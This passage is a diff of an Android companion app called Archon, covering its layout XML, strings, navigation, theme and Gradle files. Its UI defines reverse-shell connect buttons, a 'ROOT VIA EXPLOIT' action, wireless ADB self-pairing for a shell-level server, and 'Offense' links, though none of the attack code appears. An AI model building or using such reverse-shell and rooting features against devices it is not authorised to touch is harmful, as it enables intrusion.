app:backgroundTint="#FFFF6600" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_disable"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DISABLE"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- RevShell connect/disconnect/status row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_connect"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CONNECT"
android:textColor="@color/background"
android:textSize="11sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_disconnect"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DISCONNECT"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_revshell_status"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="STATUS"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- RevShell status -->
<TextView
android:id="@+id/revshell_status_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: Disabled"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Output Log ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="12dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Output:"
android:textColor="@color/terminal_green_dim"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/modules_output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="> ready_"
android:textColor="@color/terminal_green"
android:textSize="11sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:minLines="8" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@ -0,0 +1,310 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/settings_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="16dp" />
<!-- Server Connection -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_connection"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_server_ip"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_server_ip"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_web_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_web_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Port Configuration -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/adb_configuration"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_adb_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_adb_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:hint="@string/hint_usbip_port"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_usbip_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:textColor="@color/text_primary"
android:fontFamily="monospace" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.materialswitch.MaterialSwitch
android:id="@+id/switch_settings_auto_restart"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/auto_restart_adb"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
app:thumbTint="@color/terminal_green"
app:trackTint="@color/terminal_green_dim" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Veilid BBS (Coming Soon) -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp"
android:alpha="0.6">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/bbs_configuration"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="COMING SOON"
android:textColor="@color/warning"
android:textSize="11sp"
android:textStyle="bold"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Veilid-based decentralized bulletin board for secure anonymous communication. Under development."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<com.google.android.material.textfield.TextInputLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="@string/hint_bbs_address"
app:boxStrokeColor="@color/terminal_green"
app:hintTextColor="@color/terminal_green"
android:enabled="false">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_bbs_address"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
android:enabled="false"
android:hint="Not yet available" />
</com.google.android.material.textfield.TextInputLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Auto-Detect -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_auto_detect"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:text="@string/auto_detect"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:icon="@android:drawable/ic_menu_search"
app:iconTint="@color/background"
app:cornerRadius="4dp" />
<!-- Actions -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="16dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_test_connection"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:layout_marginEnd="8dp"
android:text="@string/test_connection"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green_dim"
app:cornerRadius="4dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_save_settings"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/save_settings"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:cornerRadius="4dp" />
</LinearLayout>
<!-- Status -->
<TextView
android:id="@+id/settings_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="24dp" />
<!-- Logout -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_logout"
style="@style/Widget.MaterialComponents.Button.OutlinedButton"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="LOGOUT"
android:textColor="@color/danger"
android:fontFamily="monospace"
app:strokeColor="@color/danger"
app:cornerRadius="4dp" />
</LinearLayout>
</ScrollView>

View File

@ -0,0 +1,383 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON SETUP"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Privilege Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="16dp">
<View
android:id="@+id/privilege_status_dot"
android:layout_width="12dp"
android:layout_height="12dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/privilege_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Checking privileges..."
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace" />
</LinearLayout>
<!-- ═══ STEP 1: Wireless Debugging (Shizuku-style) ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="2dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="STEP 1: Wireless Debugging"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Self-contained ADB — no PC needed"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="1. Tap START PAIRING below\n2. A notification will appear\n3. Open Developer Options > Wireless Debugging\n4. Tap 'Pair with pairing code'\n5. Enter the code in Archon's notification"
android:textColor="@color/text_primary"
android:textSize="13sp"
android:fontFamily="monospace"
android:lineSpacingExtra="4dp"
android:layout_marginBottom="12dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_start_pairing"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="START PAIRING"
android:textColor="@color/background"
android:textSize="16sp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<TextView
android:id="@+id/local_adb_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: not paired"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginTop="8dp" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ STEP 2: Archon Server ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="STEP 2: Archon Server"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Shell-level server (UID 2000) via app_process"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="12dp">
<View
android:id="@+id/archon_server_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/archon_server_status"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_primary"
android:textSize="13sp"
android:fontFamily="monospace" />
</LinearLayout>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Modules (Shield, Honeypot, RevShell) run through\nthe Archon Server on localhost:17321."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:layout_marginBottom="12dp" />
<!-- Server buttons -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_start_archon_server"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="START SERVER"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_stop_archon_server"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="STOP SERVER"
android:textColor="@color/text_primary"
android:layout_marginStart="8dp"
android:enabled="false"
style="@style/Widget.Material3.Button.OutlinedButton"
app:strokeColor="@color/danger" />
</LinearLayout>
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_show_command"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="SHOW ADB COMMAND"
android:textSize="11sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ ALT: USB via AUTARCH ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ALT: USB via AUTARCH"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Connect phone to AUTARCH via USB cable"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<TextView
android:id="@+id/server_adb_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Server: not configured"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_bootstrap_usb"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="BOOTSTRAP VIA USB"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ ALT: Root Access ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ALT: Root Access"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:id="@+id/root_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_check_root"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CHECK ROOT"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_root_exploit"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ROOT VIA EXPLOIT"
android:textColor="@color/background"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/warning" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Output Log ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="12dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Output Log:"
android:textColor="@color/terminal_green_dim"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/setup_output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="> ready_"
android:textColor="@color/terminal_green"
android:textSize="11sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:minLines="5" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@ -0,0 +1,23 @@
<?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android">
<item
android:id="@+id/nav_dashboard"
android:icon="@android:drawable/ic_menu_compass"
android:title="@string/nav_dashboard" />
<item
android:id="@+id/nav_links"
android:icon="@android:drawable/ic_menu_share"
android:title="@string/nav_links" />
<item
android:id="@+id/nav_modules"
android:icon="@android:drawable/ic_menu_manage"
android:title="@string/nav_modules" />
<item
android:id="@+id/nav_setup"
android:icon="@drawable/ic_setup"
android:title="@string/nav_setup" />
<item
android:id="@+id/nav_settings"
android:icon="@android:drawable/ic_menu_preferences"
android:title="@string/nav_settings" />
</menu>

View File

@ -0,0 +1,33 @@
<?xml version="1.0" encoding="utf-8"?>
<navigation
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:id="@+id/nav_graph"
app:startDestination="@id/nav_dashboard">
<fragment
android:id="@+id/nav_dashboard"
android:name="com.darkhal.archon.ui.DashboardFragment"
android:label="@string/nav_dashboard" />
<fragment
android:id="@+id/nav_links"
android:name="com.darkhal.archon.ui.LinksFragment"
android:label="@string/nav_links" />
<fragment
android:id="@+id/nav_modules"
android:name="com.darkhal.archon.ui.ModulesFragment"
android:label="@string/nav_modules" />
<fragment
android:id="@+id/nav_setup"
android:name="com.darkhal.archon.ui.SetupFragment"
android:label="@string/nav_setup" />
<fragment
android:id="@+id/nav_settings"
android:name="com.darkhal.archon.ui.SettingsFragment"
android:label="@string/nav_settings" />
</navigation>

View File

@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="terminal_green">#FF00FF41</color>
<color name="terminal_green_dim">#FF006B1A</color>
<color name="background">#FF0D0D0D</color>
<color name="surface">#FF1A1A1A</color>
<color name="surface_dark">#FF111111</color>
<color name="text_primary">#FFE0E0E0</color>
<color name="text_secondary">#FF888888</color>
<color name="text_muted">#FF555555</color>
<color name="primary">#FF00FF41</color>
<color name="status_online">#FF00FF41</color>
<color name="status_offline">#FF666666</color>
<color name="danger">#FFFF4444</color>
<color name="warning">#FFFFAA00</color>
<color name="black">#FF000000</color>
<color name="nav_item_color">#FF00FF41</color>
</resources>

View File

@ -0,0 +1,61 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">Archon</string>
<!-- Navigation -->
<string name="nav_dashboard">Dashboard</string>
<string name="nav_links">Links</string>
<string name="nav_modules">Modules</string>
<string name="nav_setup">Setup</string>
<string name="nav_settings">Settings</string>
<!-- Discovery -->
<string name="server_discovery">Server Discovery</string>
<string name="discovery_idle">Tap SCAN to find AUTARCH</string>
<string name="discovery_methods">LAN / Wi-Fi Direct / Bluetooth</string>
<string name="scan_network">SCAN</string>
<!-- Dashboard -->
<string name="dashboard_title">ARCHON</string>
<string name="adb_control">ADB Control</string>
<string name="adb_status_unknown">ADB: checking...</string>
<string name="enable_adb_tcp">Enable ADB TCP/IP</string>
<string name="usbip_export">USB/IP Export</string>
<string name="usbip_status_unknown">USB/IP: checking...</string>
<string name="enable_usbip_export">Enable USB/IP Export</string>
<string name="adb_server">ADB Server</string>
<string name="kill_adb">KILL</string>
<string name="restart_adb">RESTART</string>
<string name="auto_restart_adb">Auto-restart ADB</string>
<string name="wireguard_status">WireGuard</string>
<string name="wg_checking">WG: checking...</string>
<string name="wg_server_ip_label">Server: --</string>
<string name="ready">&gt; ready_</string>
<!-- Links -->
<string name="links_title">AUTARCH</string>
<string name="server_url_placeholder">Server: --</string>
<string name="link_dashboard">Dashboard</string>
<string name="link_wireguard">WireGuard</string>
<string name="link_shield">Shield</string>
<string name="link_hardware">Hardware</string>
<string name="link_wireshark">Wireshark</string>
<string name="link_osint">OSINT</string>
<string name="link_defense">Defense</string>
<string name="link_offense">Offense</string>
<string name="link_settings">Settings</string>
<!-- Settings -->
<string name="settings_title">SETTINGS</string>
<string name="server_connection">Server Connection</string>
<string name="hint_server_ip">AUTARCH Server IP</string>
<string name="hint_web_port">Web UI Port (default: 8181)</string>
<string name="adb_configuration">ADB Configuration</string>
<string name="hint_adb_port">ADB TCP Port</string>
<string name="hint_usbip_port">USB/IP Port</string>
<string name="bbs_configuration">BBS Configuration</string>
<string name="hint_bbs_address">Veilid BBS Address</string>
<string name="auto_detect">AUTO-DETECT SERVER</string>
<string name="test_connection">TEST</string>
<string name="save_settings">SAVE</string>
</resources>

View File

@ -0,0 +1,16 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.Archon" parent="Theme.Material3.Dark.NoActionBar">
<item name="colorPrimary">@color/terminal_green</item>
<item name="colorPrimaryVariant">@color/terminal_green_dim</item>
<item name="colorOnPrimary">@color/background</item>
<item name="colorSecondary">@color/terminal_green_dim</item>
<item name="colorOnSecondary">@color/text_primary</item>
<item name="android:colorBackground">@color/background</item>
<item name="colorSurface">@color/surface</item>
<item name="colorOnSurface">@color/text_primary</item>
<item name="android:statusBarColor">@color/background</item>
<item name="android:navigationBarColor">@color/surface</item>
<item name="android:windowBackground">@color/background</item>
</style>
</resources>

View File

@ -0,0 +1,3 @@
plugins {
id("com.android.application") version "9.0.1" apply false
}

View File

@ -0,0 +1,4 @@
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
android.useAndroidX=true
kotlin.code.style=official
android.nonTransitiveRClass=true

Binary file not shown.

View File

@ -0,0 +1,7 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

248
autarch_companion/gradlew vendored Normal file
View File

@ -0,0 +1,248 @@
#!/bin/sh
#
# Copyright © 2015 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
